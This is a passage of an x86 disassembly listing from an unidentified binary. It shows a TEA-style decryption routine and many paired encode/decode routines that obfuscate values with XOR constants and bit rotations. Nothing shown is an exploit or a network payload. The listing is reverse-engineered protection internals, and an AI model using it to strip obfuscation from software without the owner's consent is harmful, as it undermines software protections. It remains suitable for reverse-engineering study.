		mov	edx, [ebp+var_28]
		add	edx, [ebp+var_24]
		xor	ecx, edx
		mov	eax, [ebp+var_28]
		shr	eax, 5
		add	eax, [ebp+var_14]
		xor	ecx, eax
		mov	edx, [ebp+var_2C]
		add	edx, ecx
		mov	[ebp+var_2C], edx
		jmp	short loc_490DC6
; ---------------------------------------------------------------------------


loc_490E2C:				; CODE XREF: sub_490D30+A4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_2C]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		cmp	[ebp+arg_C], 1
		jle	short loc_490E60
		mov	eax, [ebp+var_30]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_38]
		mov	[ebp+var_14], ecx


loc_490E60:				; CODE XREF: sub_490D30+122j
		jmp	loc_490D8F
; ---------------------------------------------------------------------------


loc_490E65:				; CODE XREF: sub_490D30+65j
		jmp	loc_490F34
; ---------------------------------------------------------------------------


loc_490E6A:				; CODE XREF: sub_490D30+59j
					; sub_490D30:loc_490F2Fj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_1C]
		jnb	loc_490F34
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	[ebp+var_40], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		mov	[ebp+var_44], eax
		mov	[ebp+var_3C], 0C6EF3720h
		mov	[ebp+var_48], 20h


loc_490E95:				; CODE XREF: sub_490D30+1C9j
		mov	ecx, [ebp+var_48]
		mov	edx, [ebp+var_48]
		sub	edx, 1
		mov	[ebp+var_48], edx
		test	ecx, ecx
		jbe	short loc_490EFB
		mov	eax, [ebp+var_40]
		shl	eax, 4
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+var_40]
		add	ecx, [ebp+var_3C]
		xor	eax, ecx
		mov	edx, [ebp+var_40]
		shr	edx, 5
		add	edx, [ebp+var_14]
		xor	eax, edx
		mov	ecx, [ebp+var_44]
		sub	ecx, eax
		mov	[ebp+var_44], ecx
		mov	edx, [ebp+var_44]
		shl	edx, 4
		add	edx, [ebp+var_8]
		mov	eax, [ebp+var_44]
		add	eax, [ebp+var_3C]
		xor	edx, eax
		mov	ecx, [ebp+var_44]
		shr	ecx, 5
		add	ecx, [ebp+var_C]
		xor	edx, ecx
		mov	eax, [ebp+var_40]
		sub	eax, edx
		mov	[ebp+var_40], eax
		mov	ecx, [ebp+var_3C]
		add	ecx, 61C88647h
		mov	[ebp+var_3C], ecx
		jmp	short loc_490E95
; ---------------------------------------------------------------------------


loc_490EFB:				; CODE XREF: sub_490D30+173j
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_40]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_44]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_C], 0
		jge	short loc_490F2F
		mov	edx, [ebp+var_40]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_44]
		mov	[ebp+var_14], eax


loc_490F2F:				; CODE XREF: sub_490D30+1F1j
		jmp	loc_490E6A
; ---------------------------------------------------------------------------


loc_490F34:				; CODE XREF: sub_490D30:loc_490E65j
					; sub_490D30+140j
		mov	esp, ebp
		pop	ebp
		retn
sub_490D30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490F38	proc near		; CODE XREF: sub_4B4BB9+A7p
					; sub_4B4BB9+125p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		shr	ecx, 8
		mov	edx, [ebp+var_4]
		shl	edx, 18h
		or	ecx, edx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		shr	eax, 8
		mov	ecx, [ebp+var_8]
		shl	ecx, 18h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		shr	edx, 8
		mov	eax, [ebp+var_C]
		shl	eax, 18h
		or	edx, eax
		mov	[ebp+var_10], edx
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		lea	edx, [ebp+var_20]
		push	edx
		call	sub_490D30
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
sub_490F38	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490FB0	proc near		; CODE XREF: .text:004B7E7Dp
					; .text:004BB269p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		xor	edx, 0FFFFFFFFh
		push	edx
		call	sub_4C149A
		add	esp, 0Ch
		xor	eax, 0FFFFFFFFh
		pop	ebp
		retn
sub_490FB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_490FD0	proc near		; CODE XREF: sub_497D6E+94p
					; sub_49B14F+99p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 6D6ACFDEh
		mov	[ebp+arg_0], eax
		push	11h
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	6
		push	13h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Eh
		push	6
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 3859EF64h
		mov	[ebp+arg_0], edx
		push	0
		push	0Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0DD46CC9Eh
		mov	[ebp+arg_0], ecx
		push	19h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 5542E47Ah
		mov	[ebp+arg_0], eax
		push	11h
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	8
		push	5
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	8
		push	12h
		push	0Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	15h
		push	8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0D7EF2C37h
		mov	[ebp+arg_0], edx
		push	0Dh
		push	12h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	12h
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		push	17h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Eh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 420D6417h
		mov	[ebp+arg_0], ecx
		push	11h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_490FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491135	proc near		; CODE XREF: sub_497D6E+Dp
					; sub_49B14F+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFEFh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 420D6417h
		mov	[ebp+arg_0], ecx
		push	0FFFFFFF2h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	1
		push	17h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	12h
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Dh
		push	12h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0D7EF2C37h
		mov	[ebp+arg_0], eax
		push	15h
		push	8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF8h
		push	12h
		push	0Dh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	8
		push	5
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	11h
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 5542E47Ah
		mov	[ebp+arg_0], edx
		push	0FFFFFFE7h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0DD46CC9Eh
		mov	[ebp+arg_0], ecx
		push	0
		push	0Fh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 3859EF64h
		mov	[ebp+arg_0], eax
		push	0FFFFFFEAh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Eh
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	6
		push	13h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	11h
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 6D6ACFDEh
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_491135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49129A	proc near		; CODE XREF: sub_4A101A+BDp
					; sub_4A2806+96p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 220E31E7h
		mov	[ebp+arg_0], eax
		push	2
		push	8
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ch
		push	4
		push	0Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0B278157Ch
		mov	[ebp+arg_0], ecx
		push	0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 2DAEB5E3h
		mov	[ebp+arg_0], eax
		push	19h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	6
		push	17h
		push	8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49129A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491336	proc near		; CODE XREF: sub_4A101A+Dp
					; sub_4A2806+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFAh
		push	17h
		push	8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFE7h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 2DAEB5E3h
		mov	[ebp+arg_0], edx
		push	0FFFFFFF4h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0B278157Ch
		mov	[ebp+arg_0], ecx
		push	0FFFFFFF4h
		push	4
		push	0Fh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF9h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFEh
		push	8
		push	16h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 220E31E7h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_491336	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4913D4	proc near		; CODE XREF: sub_495329+B9p
					; sub_497F97+B8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0EACE3133h
		mov	[ebp+arg_0], eax
		push	2
		push	17h
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	7
		push	6
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Dh
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 15C3C379h
		mov	[ebp+arg_0], eax
		push	0Bh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0D62A4E92h
		mov	[ebp+arg_0], edx
		push	3
		push	12h
		push	7
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 8BDF0CF9h
		mov	[ebp+arg_0], ecx
		push	14h
		push	4
		push	19h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0Ah
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	17h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0FCBBDB1Dh
		mov	[ebp+arg_0], edx
		push	0
		push	15h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ah
		push	15h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 1530309h
		mov	[ebp+arg_0], eax
		push	9
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	14h
		push	7
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	9
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4913D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49156F	proc near		; CODE XREF: sub_495329+Dp
					; sub_497F97+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	9
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFAh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	14h
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF8h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	9
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 1530309h
		mov	[ebp+arg_0], edx
		push	0Ah
		push	15h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	15h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0FCBBDB1Dh
		mov	[ebp+arg_0], eax
		push	0FFFFFFE9h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ah
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFECh
		push	4
		push	19h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 8BDF0CF9h
		mov	[ebp+arg_0], ecx
		push	0FFFFFFFDh
		push	12h
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0D62A4E92h
		mov	[ebp+arg_0], eax
		push	0FFFFFFF5h
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 15C3C379h
		mov	[ebp+arg_0], edx
		push	0FFFFFFF6h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Dh
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	7
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE6h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFEh
		push	17h
		push	3
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 0EACE3133h
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49156F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49170B	proc near		; CODE XREF: sub_49CE90+D2p
					; sub_49D7B9+A2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 732209Dh
		mov	[ebp+arg_0], eax
		push	3
		push	0Bh
		push	0Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	9
		push	12h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 20E84581h
		mov	[ebp+arg_0], eax
		push	3
		push	0Fh
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	15h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0
		push	1Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 19CD006Ch
		mov	[ebp+arg_0], ecx
		push	17h
		push	6
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_49170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4917A9	proc near		; CODE XREF: sub_49CE90+Dp
					; sub_49F081+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	17h
		push	6
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 19CD006Ch
		mov	[ebp+arg_0], ecx
		push	0
		push	1Dh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFEBh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFDh
		push	0Fh
		push	6
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 20E84581h
		mov	[ebp+arg_0], edx
		push	9
		push	12h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFFDh
		push	0Bh
		push	0Fh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 732209Dh
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_4917A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_491849	proc near		; CODE XREF: sub_4955CD+B2p
					; sub_495835+D7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 81EEB2F2h
		mov	[ebp+arg_0], eax
		push	7
		push	0Ah
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	17h
		push	7
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	6
		push	9
		push	15h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ah
		push	4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0
		push	18h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	10h
		push	1
		push	1Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	18h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	8
		push	10h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	7
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	2
		push	1Bh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	1Bh
		push	0
		push	1Eh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0Ch
		push	0
		push	1Fh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	9
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+arg_0]
		xor	edx, 6C993A61h
		mov	[ebp+arg_0], edx
		push	8
		push	0
		push	1Bh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	8
		push	0Eh
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	15h
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 0C0B34455h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_491849	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4919DC	proc near		; CODE XREF: sub_4955CD+Dp
					; sub_495835+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	eax, 0C0B34455h
		mov	[ebp+arg_0], eax
		push	15h
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	8
		push	0Eh
